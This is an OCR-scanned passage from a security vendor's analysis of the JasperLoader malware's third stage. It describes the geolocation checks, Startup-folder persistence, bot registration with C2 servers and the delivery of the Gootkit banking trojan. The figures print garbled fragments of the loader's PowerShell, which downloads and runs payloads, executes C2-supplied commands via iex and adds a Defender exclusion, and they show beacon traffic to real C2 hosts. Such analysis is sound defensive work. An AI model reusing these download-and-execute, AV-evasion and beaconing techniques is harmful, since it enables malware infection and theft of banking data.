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takes place. The PowerShell present in this stage is responsible for the operations described in the following

sections.

Geolocation checks

The PowerShell associated with Stage 3 of the JasperLoader infection process performs exactly the same
geolocational verification that we have observed in all previous stages of the infection. It checks the
UICulture of the system and terminates execution if the UICulture matches Russia, Ukraine, Belarus, or

People's Republic of China.

Figure 30: Stage 3 geolocation check

Achieving persistence
The next series of actions are associated with maintaining access to the system. A function called
CreateShortcut() is defined that is responsible for achieving persistence by creating a LNK shortcut in the

Startup folder of the infected system to ensure that the malware will execute when the system reboots.
CreateShortcut( $1lnk, $Arguments, $WorkingDirectory }{

$5hell = New-Object -ComObject ('l

$shortCut = $5hell.CreateShortcut{ $lnk };
$ShortCut.Arguments = $Arguments;
$ShortCut.TargetPath = 'cscript.
$ShortCut.WorkingDirectory = $WorkingDirectory;
$ShortCut.WindowStyle = 1;

$ShortCut.Description
$shortCut.save();

Figure 31: Stage 3 persistence mechanism

Bot ID generation

The malware also queries the system using WMI and retrieves various pieces of information that are used
to generate a unique identifier for the infected system. This information is later transmitted to the C2 server
to register the newly infected system and allow for it to be uniquely identified. These activities are

performed by the CreateID() function that is defined, as shown below:
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CreateID {

(Get-Wmiobject -class Win32 ComputerSystem -Property Name).MName.trim{) + "

ch ($disk in (gwmi win32_diskdrive)) {
$a += [ 1::tostring($disk.signature, 16);

Figure 32: Stage 3 BotID generation

Bot registration and command retrieval
The infected system then uses an HTTP GET request to beacon out to the command and control (C2) server
and transmits the unique bot identifier to register the new bot. It also waits for a response from the C2

server to determine how to proceed:

GET /?b=PC_To%28be%2871l]led%¥20by%280.E.M._281b38d914d90819ci&v=324 . 1&psver=5 HTTP/1.1
Host: space.bajamelide.ch

Connection: Keep-Alive

HTTP/1.1 2808 OK

Server: nginx/1.14.2

Date: Mon, 25 Mar 2019 13:32:27 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 89

Connection: keep-alive

X-Powered-By: PHP/5.4.16

dlhttp://31.214.157.69/818513A4071485C | AdobeAR.exe |http://cdn.zaczvk. pl/moddownloadok . php

Figure 33: Stage 3 C2 registration
As can be seen in the observed screenshot, the C2 server issues HTTP responses that include pipe-delimited

parameters that provide additional commands to JasperL.oader and direct it how to proceed.

Supported commands:
JasperLoader currently has support for three distinct commands that may be received from the
C2 server during this operation. They are denoted by the first character that is present in the

response received from the C2 server. (Such as the letter "d" in the previous screenshot.)
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Update mechanism ("u"
The "u" command may be received from the C2 server and directs JasperLoader to attempt to attempt to

update itself using the parameters received from the C2 which are handled as values in an array assigned to

the variable $action.

y{
Remove-Item -Path $runfile;

catch{}
$req.DownloadFile($action[1], %ldr file };
$req.DownloadFile($action[2], %15 file );
$count = 2;

tart-Sleep -Seconds $timeout;
Start-Process $15 file;

timeout;

Figure 34: Stage 3 update mechanism

Bot management mechanism ("m"

The "m" command provides a mechanism with which the attacker can execute arbitrary system commands
using Powershell on infected systems. The loader waits for a response from the C2 server that contains
pipe-delimited information. It retrieves PowerShell commands from C2 and passes them to the Invoke-

Expression (IEX) PowerShell cmdlet so that they can be executed.
switch ( $action[@] ) {

¥
$req.Downloadstring( $action[1] ).split(’|’) | fo
iex -Command $req.Downloadstring( % );

Figure 35: Stage 3 bot management
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Download mechanism ("d")

The "d" command directs the infected system to retrieve the final malware payload and provides the
parameters with which this operation should take place. It informs JasperLoader where to go to retrieve
the final malware payload, where to save it, and where to send status updates following successful

deployment of the final payload.

$reqlog = New-Object System.Met.WebClient;
$reqlog.Credentials = [System.Net.CredentialCache]: :DefaultCredentials;

r

tryil
fddir = [ ment] : :GetFolderPath( "Applicat]

ame = Join-Path $ddir $action[2];
$infFile, $infExt = $action[2].Split(".");
$infFile += ".inf";
$infFile = Join-Path #ddir $infFile;
if( test-path -path $infrFile ){
3
if( test-path -path $fileName ){

try{

$reqlog.DownloadFile($action[1], $fileName );

if( ( test-path -path $fileMame ) -and ( ( (Get-Item $fileMame).length/1KE
Start-Process $fileName;
$reqlog.QueryString. Add( “error Start ok® );
$req.Downloadstring( $action[3] ):
I
Start-5leep -Seconds 188;
it{ test-path -path $infFile ){

+
r
L

Figure 36: Stage 3 download Function I

reqlog.Querystring. Add(

catch{

$reqlog.QueryString_Add( 'action’, "d’ );
$reqlog.QueryString.Add{'b", $bot_id };
$reqlog.Querystring.Add('v", $ver };
$temp = freqlog.DownloadString( $url_adm
b 3

Figure 37: Stage 3 download Function II
It also creates a Windows Defender AV exclusion for the directory in which the PE32 will be stored if the system

is running PowerShell version 4 or higher.
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try{
$ddir = [Environment]: :GetFolderPath("
try{

if( ( (Get-Host).Version ).Major -ge 4 }{
Add-MpPreference -ExclusionPath $ddir;

Figure 38: Stage 3 Windows defender exclusion
The system then attempts to retrieve the PE32 file that is the malicious payload in this particular infection. The

screenshot below shows the C2 server delivering the malicious PE32 file to the infected system.

GET /FB18513A48T714B5C HTTR 1.1
Host: 31.214.157.69
Connection: Keep-Alive

HTTP/1.1 288 0K
Date: Mon, 25 Mar 2819 14:32:33 GMT
5 he/2.2.15 {Cent05)
d: Mon, 25 Har 2019 14:88:08 GMT
-40680-584eh3T4ATEaBRB”
Accept-Ranges: bytes
Content-Length: Z63688
Connection: close
Content-Type: textsplain; charset=UTF-8

B o e i w e o PRI R @ 8 o e s e sl ITNAS. prOgnAE onnmak e man:Ain’ D05 mede

8..000PEsLicanes Uiatsassnssnssassnssnsansannas

Figure 39: Stage 3 payload delivery
The status of the successful deployment of the malware payload is then further communicated to the attacker's

server.

GET Smoddownloadok . php?b=PC_To%20beX28T1illed¥28by%200.E. M. _281h38d914d9819c&v=324 . 1&psver=5 HTTP 1.1
Host: cdn.zaczvk.pl

HTTR/1.1 2860 0K

Server: nginx/1.14.2

Date: Mon, 25 Mar 2019 13:32:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: @

Connection: keep-alive

X-Powered-By: PHPS5.4.16

Figure 40: Post-infection status update
In this particular case, the malicious payload being delivered by JasperLoader is a widely distributed banking
trojan called "Gootkit." This malware mainly looks to steal users' information and can act as a backdoor to the

compromised machine.

Conclusion

JasperLoader is a malware loader that features a multi-stage infection process.
This process has been constructed in a way that makes the loader resilient and
provides flexibility to adversaries that are attempting to leverage it to spread
malware. While it is currently being used to spread the Gootkit banking trojan, it
will likely be used to distribute additional malware payloads in the future, as it has

been designed in a way that allows the operators of the loader's infrastructure to
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use it for new payloads in the future as they choose to monetize their operation in
different ways. The choice to abuse certified email services such as PEC
demonstrates that as attackers are always looking for new ways to lend credibility
to their social engineering attacks. In this case, abusing a legitimate email service
allowed them to deliver their malicious emails in a way that would maximize the
likelihood that a potential victim would open the attachments and infect
themselves with JasperLoader. In addition to the various threats that we have
already observed abusing these services, we expect additional threats to begin

leveraging them as well.

Coverage

Additional ways our customers can detect and block this threat are listed below.

AP
CloudLock
Cns

Email Security

MNetwork Security

Threat Grid

Umbrella

WA

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these

threat actors.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious

websites and detects malware used in these attacks.
Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention

System (NGIPS), and_Meraki MX can detect malicious activity associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs,

whether users are on or off the corporate network.
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Additional protections with context to your specific environment and threat data are available from the Firepower

Management Center.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack

available for purchase on Snort.org.

Indicators of compromise
The following IOCs are associated with various malware distribution campaigns

that were observed during the analysis of JasperLoader activity.

Attachment hashes (SHA256)

A list of hashes observed to be associated with malicious email attachments can be found here.

Domains

A list of domains observed to be associated with JasperLoader can be found here.

IP addresses

A list of IP addresses observed to be associated with JasperLoader can be found here.

Source: https://blog.talosintelligence.com/2019/04/jasperloader-targets-italy.html
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